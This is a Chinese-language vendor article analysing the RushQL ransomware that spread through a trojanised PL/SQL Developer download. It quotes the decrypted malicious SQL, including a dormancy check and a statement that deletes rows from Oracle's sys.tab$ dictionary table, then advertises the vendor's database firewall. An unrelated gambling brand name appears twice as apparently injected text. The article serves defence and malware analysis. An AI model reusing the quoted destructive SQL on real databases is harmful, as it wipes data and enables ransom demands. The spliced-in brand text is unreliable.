2018-11-19 国家信息安全漏洞共享平台正式发布通告“oracle数据库勒索病毒rushql死灰复燃”。转载原文如下:
从这封简短的通告我们可以发现,rushql勒索病毒已经不是第一次肆虐oracle数据库,早在2016年11月就已经在全球掀起了一场血雨腥风。当然,那时候它有个更响亮的名字“比特币勒索病毒”。
目光回溯到2016年11月,全国多家企事业单位遭受比特币勒索通知“你的数据库已被锁死,发送5个比特币到这个地址!”。用户在登陆oracle数据库时出现如下勒索警告信息,被要求上交5个比特币来换取解锁数据库的服务。
时隔整整两年,rushql勒索病毒卷土重来,发动新一轮的肆虐。我们不禁要反问自己:为什么我们会遭到同一勒索病毒连续攻击?数据库安全厂商能帮助数据库用户做些什么?
作为一家专注数据库安全的厂商,安华金和早已对rushql勒索病毒进行了深度的解析并提供了尊龙凯时官方旗舰店的解决方案。
早在2016年rushql勒索病毒出现的时候,安华金和的攻防实验室就对该病毒做了深度分析,并提供了有效的检测和防护措施。
rushql勒索病毒攻击的目标人群是数据库管理人员(dba)。通过在csdn等网站上恶意散播携带勒索病毒的pl sql developer(pl/sql)软件程序,引诱用户下载并发起勒索攻击。
携带rushql病毒的pl/sql,解压后主目录的afterconnect.sql文件存在异常。官方的pl/sql下afterconnect.sql是空文件,而异常的afterconnect.sql有 35kb。
该脚本的关键代码,采用了 oracle数据库专用代码加密工具wrap进行了加密,我们对病毒脚本进行解密后发现,该脚本的主要功能是创建4个存储过程和3个触发器:
存储过程 dbms_support_internal
存储过程 dbms_standard_fun9
存储过程 dbms_system_interna
存储过程 dbms_core_internal
触发器 dbms_support_internal
触发器 dbms_ system _internal
触发器 dbms_ core _internal
三个触发器本身没有问题,问题在于存储过程。以dbms_support_internal为例,该存储过程的核心是两条sql语句:
第1条sql语句:select nvl(to_char(sysdate-created ),0) into date1 from v$database; if (date1>=1200)
语句含义:根据创建数据库时间和当前时间差值做决定:是立刻入侵数据库实施勒索,还是先保持潜伏直到条件成熟再爆发进行勒索。判断条件为数据库实例创建时间距今是否满足1200天,一旦满足并重启数据库实例则执行第2条sql语句。第2条sql语句:execute immediate'create table orachk'||substr(sys_guid,10)||' tablespace system as select *from sys.tab$';delete sys.tab$ where dataobj# in (selectdataobj# from sys.obj$ where owner# not in (0,38)) ;
语句含义:勒索者首先对tab$中的文件进行备份,然后再删除tab$表中的部分内容清理数据库的备份文件后,向用户弹窗实施勒索。
综上所述,rushql勒索病毒就是通过执行这些脚本入侵oracle数据库。一旦使用这个pl/sql工具访问数据库,相应对象会被后台自动注入数据库,执行触发器阻止后续的用户登录,并通过任务truncate数据库表。
2014年在国内“数据库安全”方兴未艾之际,安华金和已经开始推广数据库防护墙产品:通过串接部署的方式矗立在数据库最前端,形成了数据库安全的最后一道防线。
安华金和数据库防火墙产品,提供“数据库漏洞攻击防护”能力,是目前应对数据库勒索病毒最高效的产品选择。其防护的范围不仅涵盖cve和cnnvn已经公布的大量数据库漏洞;还深度剖析“勒索病毒”的攻击方式,提供防护手段。
安华金和数据库防火墙产品,可以对oracle数据库的“密文存储过程”进行解密操作。这种准确破解“密文存储过程”的能力,不但在本次勒索案例中十分关键,也是防止第三方工具向数据库发送恶意存储过程的关键,只有准确破解加密包的内容才能进行精确的语法分析。
数据库防火墙能够把这些访问数据库的密文存储过程“明文化”,对“明文”进行sql语法分析,匹配特征值;并对前后关联的sql行为进行分析。如果判断该“语句包”存在恶意行为。产品可以进行会话阻断,并向相关人员进行危险告警,完成对数据库攻击的主动防护。
数据库防火墙产品早以形成内置的“虚拟补丁”规则,专项治理“rushql勒索病毒(比特币攻击)”,如下图:
漏洞类型:恶意代码
漏洞源:攻击者可利用漏洞进行比特币攻击
数据库版本:oracle
勒索病毒入侵数据库多数是利用了数据库已有的安全漏洞,或者是植入恶意的存储过程。数据库长期暴露在应用系统和数据库运维人员的访问之下,如何有效防护勒索病毒?数据库防火墙提出三条尊龙凯时官方旗舰店的解决方案:
①学习期行为建模
产品可自定义学习期,并基于学习期完成语句、会话的建模分析,构建数据库安全防护模型;并具备数据库语法分析能力,可以对sql语句进行抽象描述,将海量的sql语句归类成sql模板,从而定义语句黑白名单规则。
学习期结束后,对非法的访问行为和sql语句主动拦截、阻断,阻止恶意攻击行为。
(注:拦截和阻断的区别:系统支持会话阻断,可准确定位风险来源并阻断会话请求。在会话阻断的基础上,系统提供“语句拦截”的处理机制,仅针对会话里产生风险的sql语句进行拦截,保持会话内其他合规语句的正常操作。)
②漏洞攻击防护
系统提供“虚拟补丁”防护能力,内置大量数据库漏洞防护规则,防护范围包括:系统注入、缓存区溢出、权限提升、数据泄露、拒绝服务等20多种数据库漏洞类型。当外部系统利用数据库漏洞进行入侵时,及时阻断入侵的风险会话。
③敏感数据防护
系统可关联数据库的schema、表、字段等对象信息,建立敏感数据规则。对象之间又可以自定义“与/或”关系,形成敏感数据组。数据库防火墙针对“敏感数据组”建立安全防护体系,可结合“应用信息”、“客户端信息”、“操作行为”等元素共同定义操作规则。通过敏感数据组可以对数据库的“核心系统表”进行有效防护,在允许常规访问的前提下,防止恶意篡改和引用。
试用申请